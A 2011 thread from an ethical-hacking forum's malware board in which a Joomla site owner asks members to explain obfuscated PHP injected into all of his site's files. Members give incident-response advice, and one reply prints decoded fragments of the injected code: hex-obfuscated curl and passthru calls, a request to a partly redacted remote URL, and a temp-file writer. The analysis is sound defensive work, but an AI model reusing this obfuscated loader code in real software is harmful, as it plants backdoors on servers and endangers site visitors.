Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 33 guests and 1 member online
You are here:
Home
Ethical Hacking Discussions and Related Certifications
Malware
HACK CODE TO BE EXPLANED
EH-Net
May 25, 2013, 10:08:21 AM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Ethical Hacking Discussions and Related Certifications
>
Malware
(Moderator:
don
) >
HACK CODE TO BE EXPLANED
Pages: [
1
]
2
Go Down
« previous
next »
Print
Author
Topic: HACK CODE TO BE EXPLANED (Read 11342 times)
0 Members and 1 Guest are viewing this topic.
alexsp
Newbie
Offline
Posts: 5
HACK CODE TO BE EXPLANED
«
on:
January 26, 2011, 04:08:21 PM »
hello there to the ethical hacker community, at the start of the attached file there is code that i found to all .php files that exist on a site that was hacked. If the code seems interesting to anyone, some explanation on what the code does would be very helpful so i can secure my site.
Logged
cd1zz
Recruiters
Hero Member
Offline
Posts: 561
Re: HACK CODE TO BE EXPLANED
«
Reply #1 on:
January 26, 2011, 05:52:34 PM »
This doesn't look malicious to me. Why do you think it is?
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
alexsp
Newbie
Offline
Posts: 5
Re: HACK CODE TO BE EXPLANED
«
Reply #2 on:
January 27, 2011, 01:37:00 AM »
First of all thanks for the reply, i know this code is malicious because the site was hacked several times and many strange things happened, you know like frontpage replacement from hackers and thiings like that. Secondly because the site is built on joomla and i can distinguish (so can everyone who has been working with joomla) the code that exists on a normal joomla .php page from code that was manually inserted. You can also notice this, the joomla code starts with the joomla credits comments (at line 2!!!).
Can you tell what the first part of code (the one that is not well lined out well and is before the joomla credits comments) is for? Also if you can see it uses code encoding and decoding, i don't know, i can post also a normal index.php to view the difference
Logged
alexsp
Newbie
Offline
Posts: 5
Re: HACK CODE TO BE EXPLANED
«
Reply #3 on:
January 27, 2011, 01:43:27 AM »
I forgot to mention that this code has been placed to all .php pages of the site, that is not very common don't you think? This is actually a professional real hack and i think it is very interesting to be investigated how this was done...
Logged
Andrew Waite
Hero Member
Offline
Posts: 928
Re: HACK CODE TO BE EXPLANED
«
Reply #4 on:
January 27, 2011, 03:43:47 AM »
Alexsp,
I've no experience with Joomla, so apologises if this is overly generic. If you can post what the file should be, or just outline which code is added/modified that will help.
However, whilst this may be a result of a compromise, I'd not expect the code you've found to be the first point of intrusion, as any attacker would already need a foothold on the server to be able to add/alter any of your existing source.
I'd strongly suggest a thorough review of server logs, access, user etc. (basically the usual candidates), as well as a security audit of the code hosted on the site.
Is this site the only web application running on the server, or is it shared? If shared, it could be that the fault doesn't existing within your application, but a weakness on a different site has allowed a malicious user to system access to modify source code of otherwise secure web apps.
Hope this helps.
Logged
--
http://www.infosanity.co.uk
--
http://blog.infosanity.co.uk
alexsp
Newbie
Offline
Posts: 5
Re: HACK CODE TO BE EXPLANED
«
Reply #5 on:
January 27, 2011, 04:48:21 AM »
I am posting an original ("clean") index.php file of joomla as it should normally be.
It is obvious that this part of code shouldn't be there, but even if someone claims that this code is not malicious it means that he or she understands what this code does. So please if you will explain to me too.
Andrew i know that is not the first point of intrusion, and i know also that joomla has a lot of known vulnerabilitites, but i see a piece of code on the files of a site and i am curious what this does and how.
Logged
Andrew Waite
Hero Member
Offline
Posts: 928
Re: HACK CODE TO BE EXPLANED
«
Reply #6 on:
January 27, 2011, 05:02:59 AM »
Again, not a Joomla expert so I'm going blind on some things, but:
'Edited' index file includes two additional php files (helper.php & toolbar.php). Are these a legitimate part of the framework? Are they also edited? Are they required? What do they do?
looks like the edited file removes an authorisation call, suspicion levels rising...
Finally, the edited index file looks like to calls a function to get a gzipped copy of the configuration file.
From my knowledge of Joomla this could be legit (if you're seeing it across multiple systems, any chance you've just upgraded Joomla?). But at worst looks like a data leakage issue, I'd still suggest focusing on locating the original compromise, this looks to be more a symptom than a cause.
Can anyone shed any additional light?
Logged
--
http://www.infosanity.co.uk
--
http://blog.infosanity.co.uk
alexsp
Newbie
Offline
Posts: 5
Re: HACK CODE TO BE EXPLANED
«
Reply #7 on:
January 27, 2011, 05:56:25 AM »
I agree that is the symptom and not the cause. I would like to say again that this code has been inserted to all php pages, the number of those is very large.
As for the files you mentioned Andrew helper.php and the other one, yes these files are very common to joomla.
So only someone that would understand what the code does per line could help right now.
I am not sure but the first big part looks like a shell to me.
Logged
Andrew Waite
Hero Member
Offline
Posts: 928
Re: HACK CODE TO BE EXPLANED
«
Reply #8 on:
January 27, 2011, 06:26:08 AM »
Quote from: alexsp on January 27, 2011, 05:56:25 AM
I am not sure but the first big part looks like a shell to me.
which part? Unless I'm missing something I can't see anything in the code you've uploaded that indicates a shell.
Logged
--
http://www.infosanity.co.uk
--
http://blog.infosanity.co.uk
hayabusa
Hero Member
Offline
Posts: 1633
Re: HACK CODE TO BE EXPLANED
«
Reply #9 on:
January 27, 2011, 09:09:06 AM »
While, unfortunately, I don't have time to review code, today...
My inking, first, would be to setup a LAN sniffer and a test workstation, open the php from the test workstation, trace it, and see what happens...
Logged
~ hayabusa ~
"All men can see these tactics whereby I conquer, but what none can see is the strategy out of which victory is evolved." - Sun Tzu, 'The Art of War'
OSCE, OSCP , GPEN, C|EH
n1p
Jr. Member
Offline
Posts: 89
Re: HACK CODE TO BE EXPLANED
«
Reply #10 on:
January 27, 2011, 09:53:21 AM »
Initial inspection - the initial arguments are set to globals for each function which are extrememly obfuscated:
Code:
$x1e="\x63u\162\x6c\x5f\x69\156i\x74"; //curl_init
$x1f="\143\165rl\137set\x6fp\x74"; //curl_setopt
$x20="\x63\165r\154_\x65xe\x63"; //defined
$x23="\x66\143\154\x6f\163e";
$x24="f\x69l\145\x5fg\x65t\x5f\143on\164\145nt\x73"; //file_get_contents
$x25="\146\x6f\160\145\x6e"; //fopen
$x26="f\x75n\x63\x74\x69\x6f\156\137\x65xi\163\x74\163"; // function_exists
$x27="\146\167\x72i\x74\145"; //fwrite
$x28="\x68\145a\144\145\x72"; //header
$x29="\x69\156\151_\147e\164"; //ini_get
$x2a="\x69s_f\151\x6ce"; //isfile
$x2b="\x6d\1445"; //md5
$x2c="\160a\163s\x74h\162u"; //passthru
$x2d="strpos";
$x2e="\x73t\162t\157l\157\167er"; //strtolower
$x2f="\165rl\145n\x63od\x65"; //urlencode
Also creates a file in my instance on local file system in Temp folder and writes to that file after making following request
Code:
"http://getpro<removed>number.com/i/rem.php?u=http://yourhost/index.php%3FDBGSESSID%3D405705822416000001%3Bd&k=054bb441428d289666e5cc9692c5420d&t=jm"
In this instance k is the filename for temp created file...
Code:
function x0e($x10,$x12){
global $x1e,$x1f,$x20,$x21,$x22,$x23,$x24,$x25,$x26,$x27,$x28,$x29,$x2a,$x2b,$x2c,$x2d,$x2e,$x2f;
if ($x2a($x10)){ //if(is_file(local temp file))
$x13=@$x25($x10,'w'); //then open it with w privs
@$x27($x13,$x12); //fwrite
@$x23($x13); //fclose
@$x28('Y_Out: b2s='); //header('Y_Out: b2s=');
}
}
Alot of other code, there I haven't had a chance to look at. That remote site appears down, but is actually a forbidden index page... Suspicious?
Given more time I could have a look, but that may help you get started... PM if you want real URL as I didnt want possibly malicious URLs on posting....
Apologies if not too detailed, I could only look for 10 mins!
n1p
Logged
cd1zz
Recruiters
Hero Member
Offline
Posts: 561
Re: HACK CODE TO BE EXPLANED
«
Reply #11 on:
January 27, 2011, 10:38:01 AM »
n1p
Which file did that come from?
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
n1p
Jr. Member
Offline
Posts: 89
Re: HACK CODE TO BE EXPLANED
«
Reply #12 on:
January 27, 2011, 11:13:49 AM »
First one provided.. extracted the added code in main index.php and reformatted it..
Logged
cd1zz
Recruiters
Hero Member
Offline
Posts: 561
Re: HACK CODE TO BE EXPLANED
«
Reply #13 on:
January 27, 2011, 11:17:30 AM »
I'm an idiot - I didn't have word wrap on. I'll take a look now.
Logged
OSCE | OSCP | GXPN | OSWP | CISSP
http://www.pwnag3.com
http://www.networkadminsecrets.com
Andrew Waite
Hero Member
Offline
Posts: 928
Re: HACK CODE TO BE EXPLANED
«
Reply #14 on:
January 27, 2011, 03:46:27 PM »
Quote from: cd1zz on January 27, 2011, 11:17:30 AM
I'm an idiot - I didn't have word wrap on. I'll take a look now.
+1, I did the same, nothing like a rookie error on a public board
Logged
--
http://www.infosanity.co.uk
--
http://blog.infosanity.co.uk
Pages: [
1
]
2
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
News Items and General Discussion About EH-Net
: Change is Coming to EH-Net!!
(30) by
don
Tools
: Symbolic Exploit Assistant project is looking for collaborators
(0) by
galapag0
Greetings
: Hi from the UK
(5) by
prats84
GCIH - GIAC Certified Incident Handler
: Passed my GCIH
(9) by
prats84
Network Pen Testing
: Want a challenge? Want a GXPN practice exam?
(0) by
ajohnson
GCIH - GIAC Certified Incident Handler
: GCIH Free Practice test attempt
(1) by
prats84
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.